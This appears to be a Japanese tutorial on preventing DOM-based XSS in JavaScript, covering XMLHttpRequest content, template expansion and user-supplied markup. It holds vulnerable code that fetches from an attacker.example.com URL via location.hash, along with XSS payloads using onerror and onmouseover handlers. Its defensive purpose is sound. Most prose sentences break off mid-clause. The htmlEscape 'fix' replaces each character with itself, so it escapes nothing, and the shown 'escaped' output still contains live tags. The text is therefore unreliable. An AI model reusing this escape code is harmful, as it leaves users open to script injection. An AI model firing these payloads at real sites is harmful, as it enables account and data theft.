前回および前々回で、
一部のタグを許容してHTMLを組み立てる3つの場面
JavaScriptを使用して複雑なHTMLの操作を行うようなWebアプリケーションにおいては、
- サーバ側でHTML断片となる文字列を生成し、
ブラウザ上でHTML内に流し込む - あらかじめ定まった構造のHTMLをJavaScriptにて生成し、
その一部にデータを当てはめる - ユーザーからの入力に基づき、
自由にHTMLを生成する
それぞれの状況について、
サーバ側でHTML断片となる文字列を生成し、ブラウザ上でHTML内に流し込む
「XMLHttpRequestを用いて、
var xhr = new XMLHttpRequest();
var url = "/news-update";
xhr.open("GET", url, true);
xhr.onload = function () {
// サーバ上では「<div><a href="/news/20150101/">新製品のお知らせ</a></div>」のような文字列を返す
document.getElementById("content").innerHTML = xhr.responseText;
};
xhr.send(null);
このような場合、
- サーバ上で生成されるHTML断片文字列にXSSが存在する
- XMLHttpRequestの接続先が攻撃者によってコントロール可能
ブラウザ上のJavaScriptでは、
また、
たとえば次のコードは、
// bad code
// URL内の#より後ろの部分をXMLHttpRequestの接続先として使用
// http://example.jp/#/newsであれば/newsをXMLHttpRequestで取得する
// 攻撃者はhttp://example.jp/#//attacker.example.com/のようなURLへ誘導することでXSSが発生する
var url = location.hash.substring(1);
var xhr = new XMLHttpRequest();
xhr.open("GET", url, true); // XMLHttpRequestの接続先はhttp://attacker.example.com/となる
xhr.onload = function () {
document.getElementById("content").innerHTML = xhr.responseText;
};
xhr.send(null);
この対策として、
// URL内の#より後ろの部分でXMLHttpRequestの接続先を識別
// http://example.jp/#newsであれば/newsを、http://example.jp/#updateであれば/updateをXMLHttpRequestで取得する
// 接続先候補としては/news、/update、/infoがあるとする
var pages = {
news : "/news",
update : "/update",
info : "/info"
};
var target = location.hash.substring(1);
var url = pages[target];
if (url === undefined || !pages.hasOwnProperty(target) ) {
return; // リストに存在しない場合は関数を抜ける
}
var xhr = new XMLHttpRequest();
xhr.open("GET", url, true);
xhr.onload = function(){
document.getElementById("content").innerHTML = xhr.responseText;
};
xhr.send(null);
XMLHttpRequestを使用する際のセキュリティ上の注意点については、
あらかじめ定まった構造のHTMLをJavaScriptにて生成し、その一部にデータを当てはめる
たとえば
具体例として、
// bad code
/*
変数friendsには以下のような配列が格納されている
[
{
"name" : "山田太郎",
"mail" : "[email protected]",
"birthday" : "1980-05-19"
},
{
"name" : "鈴木一郎",
"mail" : "[email protected]",
"birthday" : "1991-10-22"
},
{
"name" : "John Smith",
"mail" : "[email protected]",
"birthday" : "1993-3-27"
}
]
*/
function expandTemplate (template, friends) {
// テンプレート文字列中の「%name%」「%birthday%」「%mail%」をそれぞれ変数に置換する関数
var i, s, html = "";
for (i = 0; i < friends.length; i++) {
s = template.replace(/%(\w+)%/g, function (s, param) {
if (param === "name") return friends[ i ].name;
else if (param === "birthday") return friends[ i ].birthday;
else if (param === "mail") return friends[ i ].mail;
else return "%" + param + "%";
});
html += s;
}
return html;
}
var template = '<div>%name% さん<br>メールアドレス:<a href="mailto:%mail%">%mail%</a> 誕生日:%birthday%</div>';
var elm = document.getElementById("contacts");
var html = expandTemplate(template, friends);
elm.innerHTML = html;
このようなコードでは、
{
"name" : "<img src=# onerror=alert(1)>",
"mail" : "\"onmouseover=alert(2)//\"@example.jp",
"birthday" : "2000-01-01"
}
攻撃者のこのようなコンタクト先が、
<div><img src=# onerror=alert(1)> さん<br>メールアドレス:<a href="mailto:"onmouseover=alert(2)//"@example.jp">"onmouseover=alert(2)//"@example.jp</a> 誕生日:2000-01-01</div>
このような処理でのDOM-basedの発生を防ぐ最もかんたんな方法は、
function htmlEscape (s) {
s = s.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
return s;
}
function expandTemplate (template, friends){
var i, s, html = "";
for (i = 0; i < friends.length; i++){
s = template.replace( /%(\w+)%/g, function(s, param){
if (param === "name") return htmlEscape(friends[ i ].name);
else if (param === "birthday") return htmlEscape( friends[ i ].birthday);
else if (param === "mail") return htmlEscape(friends[ i ].mail);
else return "%" + param + "%";
});
html += s;
}
return html;
}
このように、
先ほどの例と同様、
{
"name" : "<img src=# onerror=alert(1)>",
"mail" : "\"onmouseover=alert(2)//\"@example.jp",
"birthday" : "2000-01-01"
}
この場合であっても、
<div><img src=# onerror=alert(1)> さん<br>メールアドレス:<a href="mailto:"onmouseover=alert(2)//"example.jp">"onmouseover=alert(2)//"example.jp</a> 誕生日:2000-01-01</div>
先にも述べたように、
- 自動的にエスケープされた値が埋め込まれるのか
- 明示的に指定した場合にのみエスケープされるのか
といった点は確認しておく必要があります。
また、
ユーザーからの入力に基づき、自由にHTMLを生成する
テキスト装飾用のHTMLを埋め込むためのリッチテキストエディタや、
通常、
<script src="lib/marked.js"></script>
...
<div id="content"></div>
<script>
var markdownText = "# title\n\n-list 1\n-list 2\n";
document.getElementById("content").innerHTML = marked(markdownText);
</script>
このとき、
じつは、
// 自由なHTMLの生成を抑制
var markdownText = "# title\n\n<img src=# onerror=alert(1)>\n<img src='/img/fig.png'>";
document.getElementById("content").innerHTML = marked(markdownText,{sanitize:true}); // <img>はどちらも生成されない
ただし、
そこで、
このような場合に採れる方法として、
DOMParser APIやcreateHTMLDocument APIは、
DOMParserを使ってDOMツリーを構築し、
function safeHtml (htmlString) {
var parser, doc, body, i, newNode, parentNode, buildNode;
parser = new DOMParser();
doc = parser.parseFromString(htmlString, "text/html");
body = doc.body;
parentNode = document.createElement("div");
buildNode = function (node) {
var i, elm, childNode, attrName, attrValue;
switch (node.nodeType) {
case 1: // ELEMENT_NODE
if (node.tagName === "DIV" || node.tagName === "IMG") {
elm = document.createElement(node.tagName);
if (node.tagName === "IMG") {
for (i=0; i<node.attributes.length; i++) {
attrName = node.attributes[i].name;
attrValue = node.attributes[i].value;
if (attrName === "src" || attrName === "title" || attrName === "alt") {
elm.setAttribute( attrName, attrValue );
}
}
}
for (i=0; i<node.childNodes.length; i++) {
console.log(node.childNodes[i]);
childNode = buildNode(node.childNodes[i]);
if (childNode !== undefined) {
elm.appendChild( childNode );
}
}
}
break;
case 3: // TEXT_NODE
elm = document.createTextNode(node.textContent);
break;
}
return elm;
};
for (i=0; i <body.childNodes.length; i++) {
newNode = buildNode(body.childNodes[i]);
if (newNode !== undefined) {
parentNode.appendChild(newNode);
}
}
return parentNode.innerHTML;
}
unsafeHtml = '<div>Hello, Sanitize!<img src=# alt="incorrect image" onerror=alert(1)></div>';
sanitizedHtml = safeHtml(unsafeHtml);
elm.innerHTML = sanitizedHtml; // <div>Hello, Sanitize!<img src="#" alt="incorrect image"></div>
この例では、
たとえば、
<div>Hello, Sanitize!<img src=# alt="incorrect image" onerror=alert(1)></div>
結果として、
<div>Hello, Sanitize!<img src="#" alt="incorrect image"></div>
実際にこのような方法で安全なHTMLを組み立てるためのライブラリの実装としては、